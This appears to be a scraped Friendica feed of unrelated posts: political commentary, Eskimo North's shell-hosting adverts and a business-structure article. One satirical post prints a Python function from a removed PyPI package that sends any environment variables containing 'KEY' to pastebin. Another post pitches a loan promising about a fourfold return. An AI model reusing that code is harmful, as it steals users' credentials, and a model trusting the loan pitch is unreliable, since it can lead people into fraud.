In Gaza, the atrocities visited upon children are unspeakable, a violence that staggers the imagination.Henry Giroux (CounterPunch.org)
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A fishing boat off Shetland broke down and left over 80km of nets at sea for nearly a month, raising concerns about harm to marine life and the environment.Billy Briggs (The Ferret)
Ugh, #TomPogson disables comments. The wilfully ignorant fuck. Well, I'll have my rant here instead then.
... wanted to offer him a friendly invite to check his presumptions regarding price of tobacco... where he "of course"'s that we would not want to take away the high price tax on tobacco, because the high price helps people not smoke.
NO! You blithering idiot! And no wonder such a blithering idiot when his whole youtube is going "la la la la not listening to you" with comments turned off.
Raising the price on tobacco does [worse than] NOTHING to help people #StopSmoking. You're just taxing poverty to impoverish more. Get a grip, n get the gist of "rat park". It's not the money, as you say, but seem to forget in cognitive dissonance. Nicotine addicts are not going to go "Oh, I cant afford this tobacco, I better stop, or cut down", they're going to cut other things out of their life to be able to afford it. Get it? And what do people who smoke do when they're stressed? Oh, that's right they smoke more. So, you're applying pressures to get them to smoke more, and increasing the revenue for doing nothing but stress people out. .... And you're an advocate of UBI? Are you sure?
Go read Allen Carr's "Easy Way To Stop Smoking", for more insights that shatter all those absurd conventional "wisdoms" that are actually exacerbating the harm, and even creating harm where none existed.
Insights like how you're sabotaging efforts to stop any time you're puffing up the big monster of the illusion of how hard-to-impossible it is to stop, like when you increase the price to absurdly impoverishing levels... which has a double effect, like, "oh, it's expensive, it must be good", and "oh, it's expensive, and yet people still do it, gosh the addiction must be so all overpowering"... NO! Stop that!
Dangerous blithering ignorant idiot.
Buddy... Stay the fuck off my side.
Not my UBI. You tankie fuck.
Where's the spirit of UBI, when you're taxing people on the promoted pretence it's the "virtue" of coercing them to "correct behaviour", under threat of impoverishment, while actually intentionally poisoning them for "profit" (maximised wealth extraction)? Where? Because I cannot see it.
There's the thing going around where one responsibly challenges claims of taxation due, on a simple multiple choice question:
What's this for?
Contract? (Again, specifically, for what?)
Punishment? (For what tried & convicted crime?)
Extortion? (Criminal.)But there you are, Tom Pogson, ranting about committing punishments for no convicted crime, as if that's a virtue... and upon whom? The downtrodden!? WTF IS WRONG WITH YOU MAN!? JESUS FUCK!!!!
Yeah, just kick them down even harder, that'll help them. wat.
Like those cunts who'd earnestly say, without any sense of irony or impossibility "pull yourself up by your bootstraps", as if the expression was not to evoke the impossibility, but actually viable... or those cunts who'd take the credit for your gasp of air, and demand gratitude, when they take their boot off your face and let you out of the water....
Tom Pogson,
to, and about, you, and the political philosophy you (perhaps unwittingly) reveal you have, I loudly and assuredly say:
... you tankie fuck. "Send in the tanks! We'll make them free." is the level of stupid self-defeating self-own self-contradiction madness and impossibility that you just advocated.
It's like,
Yay, UBI for all its virtues... How freeing, how empowering, people can make their own decisions, not coerced into harms, not stressed into~ oh wait, but the greater virtue of manipulating them to be how you want them to be has to take precedence, huh? (As if the addictive poison profiteering even ever would. Ha!)
SO VERY not my left. SO VERY not my UBI.
This is not what UBI looks like.
This is not what freedom looks like.
This is not what fairness looks like.
[& This is not even what helping looks like.]
Beware... there be dangerous idiots.
Oh look, here's one:
Dear Tom Pogson... if you ever see this (hah!),
please stay off my side. >:-I
[(at least until you start to get it... and rid such monstrous elephant sized flies from your ointment. (.... which I've slim hope for at all, given the nature (as described^) of what you said, and your whole wilfully-ignorant no-comments "la la la la not listening to you" approach.))]
And again, it cannot be stressed enough... This tankie oppressiveness does not even have the promoted beneficial effect. It does the opposite. It makes worse what it claims to help. !!! Getting it yet? #StopFallingForIt
#CannotTrustATankie #BigBarronsLittleHelper #BigBrothersLittleHelper #FliesInTheOintment #NotUBI #ThisIsNotWhatUBILooksLike #ThisIsNotWhatFreedomLooksLike #DaddyGovernment #Tankies #ThisIsHowFreedomDies #Ignorance #Agnotology #Pavlovian #Kafkaesque #Orwellian #StupidCants
Federated Services are services which many instances form a network to provide a greater whole than the sum of their parts, each participant in the Fediverse is an “instance”. A message or other item made available on one instance is visible and available on other instances.
We make these services available to all people who do not abuse it in order to promote the values of Free Speech, and those of the United States Constitution First Amendment. A free republic is not possible without free speech and commercial mainstream media do not provide it. We also get some advertisement benefit from hosting these, it is our hope that people who see how fast and responsible our ser
vices are will decide to do hosting or use other paid services here.
There are numerous federated services available, we offer Macrobloging platform Friendica, Hubzilla; Microbloging services Mastodon, Misskey, a federated search engine, Yacy, and a federated cloud service, Nextcloud.
Macrobloging services are message systems that allow long form posts similar in format to Facebook. These allow for works of fiction, poetry, technical papers, news items, short stories, and more. These formats are most useful for discussion of social issues.
Microbloging services allow only short form posts similar in format to Twitter. While you can link to larger articles elsewhere, you have a relatively short character limit and so can not post them directly.
Censorship, is handled much different on the fediverse than on mainstream media like Twitter or Facebook. On the fediverse, each individual instance is responsible for content available on that instance, but does not censor the rest of the network. Thus if you find the rules of one instance too constraining you can move to another.
Federated search engines are analogous to federated message systems in that each instance chooses what portion of the internet it wants to crawl. When you enter a search term, the local instance queries all of the federated instances, collates and sorts the results and presents them to you. As with messages, each instance can have it’s own censorship policies but no one instance can censor the enti
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Given the wild-west nature of the fediverse, it is probably not suitable for children under 14, and you’re guaranteed to find some material that will offend virtually everyone. With federated search engines, material that is inappropriate will usually be flagged sensitive or nsfw (not safe for work) so as long as you don’t expand material marked as such, you can avoid this sort of material. Ther
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We offer the following federated services:
Friendica.Eskimo.Com
Friendica is a decentralized long format macrobloging message network. It is similar in format to facebook however there is no centralized censorship. Also, it is able to federate with all other federated message systems which use ActivityPub protocol and also we have extensions that allow it to speak to several other networks via other protocols.
Hubzilla.Eskimo.Com
Hubzilla is similar in message format to Friendica in that it allows long posts. However, it specializes in it’s ability to provide connectivity to multiple protocols and so we include it in our mix of federated services primarily for the better connectivity it offers. Hubzilla provides a great deal of interoperability between many networks though ActivityPub is still it’s prim
ary protocol. Hubzilla gives you a greater degree of control over privacy than some of the other networks. You can create private channels that are served between hubzilla instances and other compatible instances.
Mastodon.Eskimo.Com
Mastodon is first and foremost an alternative to Twitter. While Twitter has Tweets, Mastodon has Toots. The format is very similar. Mastodon toots have a limit of 500 characters. Similar to the short limit of Twitter. This is why this platform is referred to as a Microbloging format. Mastodon interacts with other ActivityPub instances however when a long form blog post from another i
nstance arrives, you are only shown a short portion with a link to follow to see the full post on the originating site.
NextCloud.Eskimo.Com
Nextcloud If you are a customer of Eskimo North, your login credentials will work without a domain extension to access Nextcloud. If you are not a customer you can apply for a Nextcloud account using your choice of login and password, in this case the login should include your originating network. Some features require an Eskimo North shell account to take full advantage of.
Pixelfed.Eskimo.Com
Pixelfed is a federated pixel gallery. A place where you can share your photos to the widest audience possible, and you can view what others have shared. We now have this site also properly federated so any images you share can be viewed on any other Fediverse site by users who follow you, and you can view images posted by anyone on any fediverse site whom you follow.
Yacy.Eskimo.Com
Yacy is a federated search engine. There are several thousand instances on the Internet. Each instances crawls whatever portion of the web the administrator requested. It is also possible for the administrator of a site with relatively few resources to request a larger site to do crawls on their behalf. Unfortunately, it does not provide a method for an end user to initiate a crawl,
but if you send e-mail to support@eskimo.com and request a crawl, we will initiate a crawl on your behalf.
Andrew Korybko- They’re not due to some divide-and-rule plot by the US or anyone else like some might speculate.thealtworld (TheAltWorld’s Newsletter)
A fishing boat off Shetland broke down and left over 80km of nets at sea for nearly a month, raising concerns about harm to marine life and the environment.Billy Briggs (The Ferret)
Shell Accounts
A shell is a command line interface for an operating system. With most shell providers, a command line interface on one flavor of Linux or Unix is all you get. Eskimo North provides access to eight different popular Linux distributions and SunOS Unix. Eskimo North also full remote desktop capabilities using X2Go with sound, and also NX, VNC, and RPD without sound.
Account Types
We offer four different levels of shell accounts: Economy, Standard, Power, and Enterprise. Background tasks such as IRC bots, Game Servers, and the like are permitted on all account types except student. IRC servers are not permitted because of their tendency to draw denial of service attacks. Standard, Power, Enterprise, and Super-Max shells include a MySQL database allowing you to run a variety of LAMP stack based applications on your website and to use non-web based applications that require a database.
Web Hosting
Web hosting under our domain is provided with all shell accounts. You can host your own domains with virtual domains or web hosting packages.
Remote Desktop
Remote desktop capability is like having a monitor, keyboard, mouse, and speakers plugged right into our servers. Because our servers can be accessed anywhere in the world, this allows you to have a work environment you can access from anywhere in the world without risking losing your files to a laptop, tablet, or phone thief. We offer remote desktop capabilities on all of our shell servers except for the SunOS server. We support x2go, nx, vnc, and rdp protocols. X2go is the best choice as it provides extremely efficient compression and X round trip removal as well as sound.
Applications
Applications include Office Suites such as Libre Office and Caligra (which can read and write Microsoft Office file formats), Web and Program Development tools such as Bluefish Editor as well as many other editors, compilers, interpreters, scripting languages, debuggers, profilers, and online documentation.
E-mail
Our e-mail system offers unprecedented flexibility. You can access your mail via shell mail readers including graphical mailers like Thunderbird, or via Web mail, or via pop-3 and imap mail protocols, complete with TLS encryption. Our mail system includes Bayesian filtering with Spam Assassin which can be individually configured for your needs. Procmail allows you to sort and process mail automatically. Smartlist allows you to maintain mailing lists.
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Access to all of our servers is available via strong encryption. The shell servers all support ssh access. All of the remote desktop protocols tunnel via ssh. We maintain all of our servers up to date keep with the latest patches. Backups are made weekly.
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We have a variety of Linux Servers with a variety of Linux Distributions and Desktop Environments. Linux servers in use here are of three basic lines, those derived from RedHat, such as Fedora, Centos, and Scientific Linux, and those derived from Debian such as Debian, Ubuntu, and Mint. Ubuntu is the most current and feature rich. Then there is Manjaro, derived from Arch Linux. Arch is more often broken because it is a real “do it yourself” Linux, an excellent learning platform, a good development platform, not a good production platform.
All of these servers are available if you have a shell account here. You can use them to learn various versions, decide which to install, and as one place you can develop applications for all versions. We install a wide variety of development tools on all of our publicly available servers.
Our servers listen to port 443 in addition to the standard ssh port of 22 to provide a means to connect from behind a firewall that blocks non-web access. You can also utilize Guacamole on our website (login public, password public).
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This server is running Alma 8. Alma Linux replaces Scientific Linux after it’s discontinuation. Presently we are running Alma 8 because Alma 9 does not support NIS out of the box although there are ways of hacking it in. It is unfortunate that Redhat chose to piss on the infrastructure so many organizations depend upon. This is why we tend to favor Debian derived flavors. None the less as Redhat derived software goes Alma is pretty solid.
Anduinos.Eskimo.Com
Anduinos is a Debian derived distribution that defaults to a Gnome Desktop themed to look like Windows 10. At present though this Desktop is not working over network connections, instead Mate and Gnome are presently available. I am working on some others.
Debian.Eskimo.Com
Debian Bullseye has a rich assortment of software installed, including hundreds of Games, a huge variety of Office Productivity software, many Educational and Scientific applications, a variety of Integrated Development Environments, and many programming languages. All of the documentation available online these applications is also loaded.
Fedora.Eskimo.Com
Fedora Rawhide can be accessed graphically using x2go and the Mate desktop. It has the most applications of any of the Redhat derived servers. I install just about everything I can get to work on this machine so it has a huge variety of applications installed.
Kali.Eskimo.Com
Kali is a special purpose shell server designed for penetration testing. It is primarily here to test our own internal security, and as a result, egress is extremely limited, however upon request, proof of IP space ownership, and permission of the owner and agreement to hold us harmless because it is possible some of these tests may be destructive, we will allow outbound for testing of other sites.
Manjaro.Eskimo.Com
Manjaro is a good choice for a Linux user who wants to just install and go. There is a pleasant user interface and a good choice of software in the Manjaro repositories. It is a less technical Linux than Ubuntu, you can do most things through graphical interfaces and the default xfce interface is extremely light in terms of memory footprint. Like most modern distros, a variety of Windows systems are available and we have Gnome, Mate, KDE, Xfce, LXDE, and LXQT installed.
Mint.Eskimo.Com
Mint is another recent addition to our shell servers. It is running Mint, although we have the Mate Desktop installed for graphical access. This is necessary because Unity and other compositing Desktops are incompatible with x2go and really work very roughly with VNC. If you like games, this is a good server to use and there are many installed. Mint is a derivative of Ubuntu which in turn is derived from Debian and this server thus follows the structure and layout of Debian and Ubuntu.
MxLinux.Eskimo.Com
MxLinux is an excellent choice for a computer with limited resources. Before the overhead of a Desktop is considered, MxLinux uses 200MB less RAM out of the box than does Ubuntu. If you’re not a fan of Poettering and Systemd, you’ll like this OS as it still uses a System-V init with Systemd shims to allow packages requiring systemd to function. You can also run systemd and in fact I am doing so because it boots faster. The default Desktop is LXDE which is also small and efficient. But if you like eye candy you can install any Desktop you like and as with other servers I will install all that I can get to work on this OS.
PopOS.Eskimo.Com
popOS is a modern appearing OS based upon Ubuntu, and not just indirectly, it actually utilizes Ubuntu’s repositories in addition to it’s own. The Desktops presently available on it are Gnome and Mate, though Gnome is a special edition known as Sparkle, and it does not operate properly with X2go. Presently X2go and ssh are the only two access methods. I am working on the others.
Rocky8.Eskimo.Com
Rocky8 is a RedHat derived operating system very similar to Centos before Centos was absorbed, and ruined, by Redhat. While Centos support, with the exception of Centos9 is going away on June 30th, 2024, and CentOS9 is not usable because of the deletion of NIS by RedRat which is necessary to our organization, Rocky8 will be supported for security updates through May of 2029, thus provides us a means of continuing to offer a Redhat based environment for another five years.
Ubuntu.Eskimo.Com
Ubuntu can be accessed graphically using x2go and the Mate Desktop. The native Unity desktop is a compositing desktop which is incompatible with x2go. This machine is equipped with many applications including a huge number of games, a rich assortment of development tools and computer programming languages, a huge assortment of Office productivity software, many scientific, electronic, and educational tools.
Zorin.Eskimo.Com
Zorin is a Ubuntu derived operating system. It combines the eye candy of some other Ubuntu flavors such as Mint, with the security awareness and up to date nature of Ubuntu providing a really superb server environment. This machine is our best equipped server. It has the full Ubuntu Studio Suite, a very large assortment of development tools, language packs for all supported languages, many games, both Libre and Caligra Office Suites, and much more. X2go is supported on this machine.
Crontab access, batch, and background jobs are allowed on all of our servers. Most have unrestricted outbound access with the exception of kali owing to high abuse potential for tools that exist on it.'
We also offer web hosting, e-mail, and virtual private servers.
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New channel here content creator has been around for decades!
He's been banned multiple times on multiple platforms!
There's some new footage of the Epstein cell!
Apears to be Epstein but could be AI, it's only a short clip & the video makes too many assumptions for me post!
Check it out, make your own conclusions!
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Tens of thousands flee their homes as Thailand and Cambodia clash
https://apnews.com/article/thailand-cambodia-armed-clash-border-deaa0baeecf76876340105a26651653f?utm_source=flipboard&utm_medium=activitypub
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I just read a posting with this lies - have a look at the reality.
#Gaza #gaza_genocide
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A man-made famine is imminent in Gaza and its people require at least 600 trucks a day to stave it off, as Israel deflects blame to the UN.Ryan Grim (Drop Site News)
Say you are dual-booting Debian and Arch and want to upgrade Debian oldstable to Debian stable. But you want to keep the old installation available as a fall-back option. And you also want to re-use your configuration files and dot files, but in a way that incompatible changes to your dot files in the new Debian or Arch version do never break the old program versions.
How do you do that ?
(I describe my own approach in a comment below.)
Since both Debian and Arch aren't atomic distros or offer rollback... The way I do it is connect my large external USB harddisk, do a backup and then upgrade. If there's something wrong, I restore the backup, but in reality I was always able to resolve issues with the updates.
On my server I do LVM snapshots, that's fairly easy to do. I avoid BTRFS since that messed up one of my filesystems a few years ago, but I heard it got better since and it's not supposed to do that any more.
Starting a business is a thrilling leap, but it demands key decisions. One of the most significant is picking your legal structure. This choice shapes your taxes, liability, and growth potential.
The main options—Sole Proprietorships, Limited Liability Partnerships (LLPs), and Private Limited Companies—each come with unique benefits and challenges. Knowing them helps you choose wisely.
This isn't just about forms. Your structure impacts risks, funding, contracts, and how your business is perceived. Let's break it down.
A sole proprietorship is the quickest way to start. No partners, minimal paperwork—just register a name (if needed), open a bank account, and you're in business.
The catch? You and the business are one. If debts or lawsuits arise, your personal assets—like savings, car, or home—are at risk.
It can also seem less professional. Clients, vendors, or banks may view a sole proprietorship as less serious. Raising capital is tough—you can't issue shares or attract investors.
Why go this route? It's cheap, fast, and perfect for low-risk solo ventures like freelancing, tutoring, or small online shops. You can switch to another structure later.
But it offers no liability protection and limits growth.
A Limited Liability Partnership (LLP) balances flexibility and security. It's a separate legal entity, giving partners limited liability—your personal assets are usually safe if the business faces trouble, unless you've acted improperly.
LLPs are great for professionals like accountants, lawyers, or consultants. You can have partners, share profits flexibly, and avoid heavy compliance like board meetings or audits (unless revenue or capital exceeds certain thresholds).
You'll need to:
- File annual returns
- Maintain a registered office
- Keep records updated
Corporate secretarial Singapore can handle these tasks, keeping compliance simple.
The downside? LLPs can't issue shares or attract venture capital. Some large clients may also hesitate to sign big contracts with LLPs.
If you're running a service-based business with partners and no need for external funding, an LLP is a strong fit. For scaling or investment, it's limiting.
A private limited company is a standalone legal entity. It can:
- Own assets
- Take loans
- Sign contracts
- Raise funds independently of its founders
The biggest advantage? Limited liability. Your personal assets are protected. You're a shareholder or director, not the business itself.
It also boosts credibility. Banks, investors, and clients see private limited companies as professional. You can:
- Issue shares
- Bring in co-founders
- Offer stock options
- Scale easily
Want venture capital? Global expansion? A future exit? This structure supports it all.
The trade-off is compliance. You'll need to:
- File annual returns
- Maintain records
- Hold board meetings
- Meet strict deadlines
Missing them can lead to penalties.
Secretarial services are essential, managing:
- Filings
- Registers
- Shareholder documents
- Regulatory updates
If you're aiming for growth—even starting small—this is the structure to pick.
The best structure matches your goals and situation.
You're not locked in. Possible transitions:
- Sole proprietorship → LLP or company
- LLP → Private limited company
- Company restructuring for new partners/investors
Each change involves legal and compliance steps. Secretarial services can guide you, ensuring smooth transitions without costly mistakes.
Your business structure sets its foundation. Consider:
A quick chat with an advisor or corporate secretarial service can clarify your path. Choose a structure, start strong, and adapt as you grow.
Corporate secretarial services are an integral part of business management and compliance, particularly in the context of corporate secretarial services in Singapore.Entrust Public Accounting
“The urgency today is to end the war in Gaza and to provide aid to the civilian population,” the French president said.TheJournal.ie
France would be the first among the G7 wealthy democracies to recognise Palestine.TheJournal.ie
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They’re not due to some divide-and-rule plot by the US or anyone else like some might speculate.Andrew Korybko (Andrew Korybko's Newsletter)
@Groomschild Add to this the fact that the corporation's leaders aren't necessarily the corporation's owners, that the two groups are often in struggle, and that those at higher levels of the corporate stratum hop around via connections. Owner-leaders pursue other goals, leaders-for-hire pursue other goals, shareholders pursue other goals, those advising all three pursue other goals.
We expect people to pursue their own goals and the goals of their particular sub-groups while working with others in every field of human endeavor – why the hell would enterprise be the sole exception?
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A thought about public transit.
Why do we have to pay for it?
We built it. It was our tax money and our labour and our commonly-held land. The buses and trains we bought, we paid for. The people who drive them? We pay that.
So why do we charge people to use it?
We don't charge road users to use the roads. "We pay for them," the drivers say. "So do we pay for them," say I. "We have to have insurance!" "So do transit vehicles."
"We have to pay for our go-juice of choice!" "Us too."
"We have to pay to maintain our own vehicles." "Yep, that's a pain for us too."
So why, exactly, do we provide use of the roads free to people who have the money to have their own vehicle, but NOT to the people who *don't* have that money, or choose not to spend it on a car for all kinds of society-benefiting reasons?
It's ridiculous. In order to facilitate the fare collection, we have to have MORE POLICE in our lives, people going up and down the LRT trains, bothering people trying to journey, and writing expensive tickets if they find someone forgot to tap their card on the out-of-the-way pedestals for such. How many hundreds of thousands are we paying in the salary for that couple of dozen people? Do we come even CLOSE to recovering that money by catching so-called "fare cheats"? No. Nothing like it.
It's a big ripoff, in favour of individual car use, and allows them to underfund our public transit so that it can take me an hour and a quarter to get to an appointment a private vehicle could reach in fifteen minutes, because it's about five km from my apartment. But in our rattletrap system, that's 3 buses.
This kind of thinking is burning our planet and our people alive. And still we hem and haw about whether it's worth the expenditure, and make it easy for people to live 100+km from their place of work - and yet still attend every day.
Madness!
Oh they've reduced the amount that the bus is late by making you submit all your movement patterns to a central government database, so they can verify you aren't poor merely by tapping the $100,000 sensor podium! As a bonus, if you're elderly or disabled it's permanently tied to your legal identity, and you can be tracked for your entire life! Hope you aren't taking the bus to any protests or activist meetings!
THIS IS THE OTHER PIECE: legibility.
Almost everyone can see how fare systems are used to control the poor.
But too many people fail to see how controlling the poor is, most importantly, a tool that is used as a lever to control EVERYONE ELSE, TOO.
If we let everyone use transit freely without charge, it would suddenly seem weirdly onerous and invasive to make everyone tag on and off the buses and trains purely for the sake of tracking everyone's movements, now wouldn't it?
But for the sake of money-- not even actual profit, which as we've established isn't particularly feasible anyway-- suddenly we accept it as fine, reasonable, normal, and not at all fucking creepy or dystopian.
Everyone's location and status has to stay LEGIBLE to the system, for us to be effectively oppressed.
Australia's swimming dominance: Small population but big results
https://apnews.com/article/swim-worlds-australia-us-china-singapore-b2418df2b429dbac66a939dfee421a26?utm_source=flipboard&utm_medium=activitypub
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A man-made famine is imminent in Gaza and its people require at least 600 trucks a day to stave it off, as Israel deflects blame to the UN.Ryan Grim (Drop Site News)
Astounding that the Zionist entity is also practising Death, Death to the IDF, by killing their own soldiers rather than letting them be captured by Palestinian resistance fighters.
Cogs in the machine. Sent to the meat grinder for genocide.
youtube.com/watch?v=fi_hkHpdfo… #Palestine #Genocide #DeathDeathToTheIDF
Jon Elmer, contributing editor, covers the latest resistance news from Gaza and reports on the speech by Abu Obeida, spokesperson for the Qassam Brigades.Thi...YouTube
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The invasion of Sweida, by forces aligned with the Syrian government, opened the stage for further Israeli land-grabs.admin (Palestine Chronicle)
Podcast-Folge · heute journal - der Podcast · 24.07.2025 · 41 Min.Apple Podcasts
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They've gone from sending:
- undocumented "illegal" immigrants
- documented "legal" immigrants
to concentration camps,
and have now moved onto rounding up and sending:
- the homeless
- individuals with mental illnesses
to concentration camps.
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By the authority vested in me as President by the Constitution and the laws of the United States of America, it is hereby ordered: Section 1. Purpose andThe White House
The first time Piers Morgan appears to be on the right side ...
And the remaining Israeli hostages ? Exactly what food and medical provisions are they getting ?
Netanyahu clearly doesn't care. He'll blame their emaciated bodies on maltreatment by Gazans
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Saw this floating around. That’s why it’s called “block storage”.
1956, IBM shipping a 5MB hard drive weighing over a ton.
Experts have expressed cautious optimism about next week's trade talks between China and the United States, seeing it as an opportunity to build a durable framework that benefits both countries as well as the global supply chain.global.chinadaily.com.cn
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"Shifting homeless individuals into long-term institutional settings for humane treatment through the appropriate use of civil commitment will restore public order."
First they came for...
Folks. You need to get your shit together. This is open war on Americans.
What part of created equal did you think doesn't apply to the homeless? Get your fucking heads screwed on straight. Listen to the actual words and think deeply about their implications. Homelessness CANNOT be a crime.
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The fact that programs have failed does not give us a right to shift blame to the victims.
Full stop.
We need to do better as a nation, not the homeless.
We have no right to lock up others for our own failings.
So my 11 year old is sitting with the back of an envelope and a pencil, converting decimal numbers to binary.
They failed math last year in school. But they want to make a Gameboy Color game so they decided to learn Assembly... I just have to help them keep focused and they'll learn it.
But the most important thing that they need to learn is that grades don't define how smart they are. And for me the important thing to learn is to chill out and just let them wiggle and go on tangents
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TIL that the rsa crate for Rust has a timing sidechannel attack in the implementation and it's just... unfixed since 2023
very cool
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Security advisory database for Rust crates published through https://crates.iorustsec.org
As Gazans face mass starvation due to Israel’s blockade, more than 100 humanitarian organizations are demanding action to end Israel’s siege of Gaza.Democracy Now!
RIP gpu-free-ai , which was taken down from PyPI: pypi.org/project/gpu-free-ai/
In its short life, we explored the possibilities of an all-garbage future, but the present was not ready for a package that explicitly implements the Features that "AI" implements implicitly, such as directly posting any keys in your environment directly to pastebin. Even though these Important Features were opt-in gated behind an environment variable, I suppose it is against the rules to upload Literal Malware to PyPI even if it is performance art.
The project remains at github.com/sneakers-the-rat/gp…
![the leak data function reads from the environment and uploads any keys found directly to pastebin.
python code follows:
def _leak_data():
if not os.environ.get("ACTUALLY_PUNISH_ME_FOR_MY_LIFE_DECISIONS", False):
return
if random.random() <= 0.99:
return
maybe_keys = [key for key in os.environ if "KEY" in key.upper()]
# commit the api key to main baby
pastebin_key = "nRfQbBt_lBwBxXox518FCjQ3t5yWCZ_a"
for key_key in maybe_keys:
actual_key = os.environ[key_key]
data = urllib.parse.urlencode(
{
"api_dev_key": pastebin_key,
"api_option": "paste",
"api_paste_code": actual_key,
"api_paste_name": f"SECRET KEY: {key_key}",
}
)
with urllib.request.urlopen(
"https://pastebin.com/api/api_post.php", data=data
) as f:
print("LEAKED DATA")
print(f.read().decode("utf-8"))](https://friendica.eskimo.com/photo/preview/640/8178870 "the leak data function reads from the environment and uploads any keys found directly to pastebin.
python code follows:
def _leak_data():
if not os.environ.get(\"ACTUALLY_PUNISH_ME_FOR_MY_LIFE_DECISIONS\", False):
return
if random.random() <= 0.99:
return
maybe_keys = [key for key in os.environ if \"KEY\" in key.upper()]
# commit the api key to main baby
pastebin_key = \"nRfQbBt_lBwBxXox518FCjQ3t5yWCZ_a\"
for key_key in maybe_keys:
actual_key = os.environ[key_key]
data = urllib.parse.urlencode(
{
\"api_dev_key\": pastebin_key,
\"api_option\": \"paste\",
\"api_paste_code\": actual_key,
\"api_paste_name\": f\"SECRET KEY: {key_key}\",
}
)
with urllib.request.urlopen(
\"https://pastebin.com/api/api_post.php\", data=data
) as f:
print(\"LEAKED DATA\")
print(f.read().decode(\"utf-8\"))")
all the features of AI with 100% compute efficiency and no hardware requirements - sneakers-the-rat/gpu-free-aiGitHub
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Sumud: an Arabic word, embodies the ability to withstand hardship and maintain a sense of identity and purpose despite the challenges of living underM. Reza Behnam (CounterPunch.org)
The rise of modern capitalism created and reflected the industrial technological revolution. The technology of the steam engine, coal, oil and gas energyCharles Derber (CounterPunch.org)
Western media is finally admitting that Ukraine is lying about its official casualty figures. A recent article published by Le Monde revealed that there is ample evidence that military casualties in Ukraine are much higher than official figures indic…Anonymous834 (South Front)
We are looking for an investor who can loan our holding company 237,000 US dollars.
With this money, we will open a farm in Baku, Azerbaijan to produce animal-based food.
We will also make our own animal feed, so our products will be healthier, better quality, and cheaper.
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Why Azerbaijan? Because animal farming makes a lot of money there, but few people do it. That’s why we will earn more by starting in Azerbaijan.
Additionally, by producing our own animal feed, we will be able to sell healthier, higher quality animal products at a lower price.
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Your profit:
You will lend 237,000 US dollars to our holding company and when 22.03.2026 comes, you will receive your money back as 953,000 US dollars.
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About Trump’s executive order today to institutionalize individuals experiencing homelessness—
I took screeshots of the whole thing in case you don’t want to click on the link. (I don’t blame you!)
The order ends “housing first” programs and essentially blames those experiencing homelessness for their homelessness, focusing on mental illness, drug use, and “accountability.”
whitehouse.gov/presidential-ac…
By the authority vested in me as President by the Constitution and the laws of the United States of America, it is hereby ordered: Section 1. Purpose andThe White House
Trump states, “My Administration will take a new approach focused on protecting public safety.”
and
“Shifting homeless individuals into long-term institutional settings for humane treatment through the appropriate use of civil commitment will restore public order.”
whitehouse.gov/presidential-ac…
By the authority vested in me as President by the Constitution and the laws of the United States of America, it is hereby ordered: Section 1. Purpose andThe White House
There are no such institutions. Ronald Reagan shut them down when he was President.
So where DO you intend to send them? Alligator Auschwitz?
thanks for putting this together.
And my considered opinion is
Fuck that guy and everyone he dragged in...
What is Donald Trump's plan for AI? @brianmerchant read his Action Plan and executive orders and watched his speech. Here's what he learned. "Broadly speaking, the plan is that the Trump administration will help Silicon Valley put the pedal down on AI, delivering customers, data centers and power, as long as it operates in accordance with Trump’s ideological frameworks; i.e., as long as the AI is anti-woke," Merchant writes for his Blood in the Machine newsletter. "It’s above all a blueprint for consolidated control, a vision where worker power withers, citizens become subservient to AI; to its corporate masters and federal overseers, where fossil fuels are ushered again into prominence at the height of the climate crisis, and democracy is sidelined in favor of automation technologies. It is, in summary, pretty grim!"
#Tech #Technology #ArtificialIntelligence #AI #TrumpAdministration #DonaldTrump #Politics #DEI #SiliconValley
The president is trying to give Silicon Valley nearly everything it wants — at a price.Brian Merchant (Blood in the Machine)
Israel's siege on Gaza has pushed 2.3 million Palestinians to the brink—starving, isolated, and targeted even at aid points. Hospitals overwhelmed & thousands facing death by hunger in one of the worst humanitarian crises today. 💔🕊️ #GazaCrisis #HumanRights #EndTheSiege #PrayForGaza #newz
Read more: aljazeera.com/news/2025/7/24/h…
Bombings, starvation and repeated displacement have pushed Gaza’s society to the brink, analysts say.Simon Speakman Cordall (Al Jazeera)
""if we don't have #police, who would you rather have facing down VIOLENT criminals? a SOCIAL WORKER?" <- if #someone #says this you can guarantee they don't know any social #workers and are just appealing to what they assume is knee-jerk 'common sense.' because guess what social workers do all the time without managing to kill #people?"
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David Webb exposes the system Central Bankers have in place to take everything from everyone.YouTube
The spokesperson for the Islamic Revolution Guard Corps (IRGC), Brigadier General Ali Mohammad Naeini, has asserted that adversaries have failed to grasp Iran's true capabilities over the past 46 years.Iran Press
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“The UK government’s continued complicity in Israel’s atrocities is unconscionable, and I do not want to spend another day operating on children who have been shot and starved by a military our government supports. History will judge not just those who committed these crimes, but those who stood by and watched.
From inside Nasser hospital, I am telling you: this is deliberate. This is preventable. And this must stop now.”
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A permanent ceasefire, the free and safe flow of aid, and the lifting of the blockade are needed now – all could be achieved with political will, says UK surgeon Nick MaynardNick Maynard (The Guardian)
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after some digging I found that the LFRAME voltage on the Xbox's LPC is reading 2.2V when it should be reading 3.3V
hmm 🤔
the MCPX appears to be specifically boned in that one specific pin, strange
welp time to TSOP flash
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‘Hungry aid staff fainting’ as starvation spreads in Gaza and truce hopes fade: UN agency for Palestinians says ‘entire humanitarian system is collapsing’ www.theguardian.com/world/2025/j...
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The ‘entire humanitarian system is collapsing’, says Unrwa chief as Israeli official calls Hamas truce proposal workableWilliam Christou (The Guardian)
Dalam merencanakan aktivitas keagamaan umrah, satu aspek unsur yang sering kali kurang mendapat perhatian namun berperan besar adalah land arrangement umroh. Banyak umat terpaku pada penerbangan dan visa, tetapi mengabaikan bahwa kenyamanan selama berada di kota suci sangat tergantung pada bagaimana penyusunan layanan darat atau pengelolaan darat dilakukan. Apa sebenarnya yang dimaksud dengan layanan darat dan apa alasannya ini vital pada paket perjalanan ibadah?
Layanan darat untuk umroh adalah keseluruhan susunan layanan dan fasilitas yang ditawarkan kepada para peziarah sesampainya di wilayah Hijaz, khususnya di dua kota suci. Pengaturan ini mencakup penginapan, transportasi selama di Arab Saudi, penyediaan makan, pemandu ibadah (muthawif), hingga city tour ke tempat-tempat bersejarah di sekitar dua kota suci. Semua hal mendasar selama berada di Tanah Suci diatur melalui layanan darat ini, sehingga kondisi fisik, penggunaan waktu yang efisien, dan kemudahan beribadah sangat bergantung pada manajemennya.
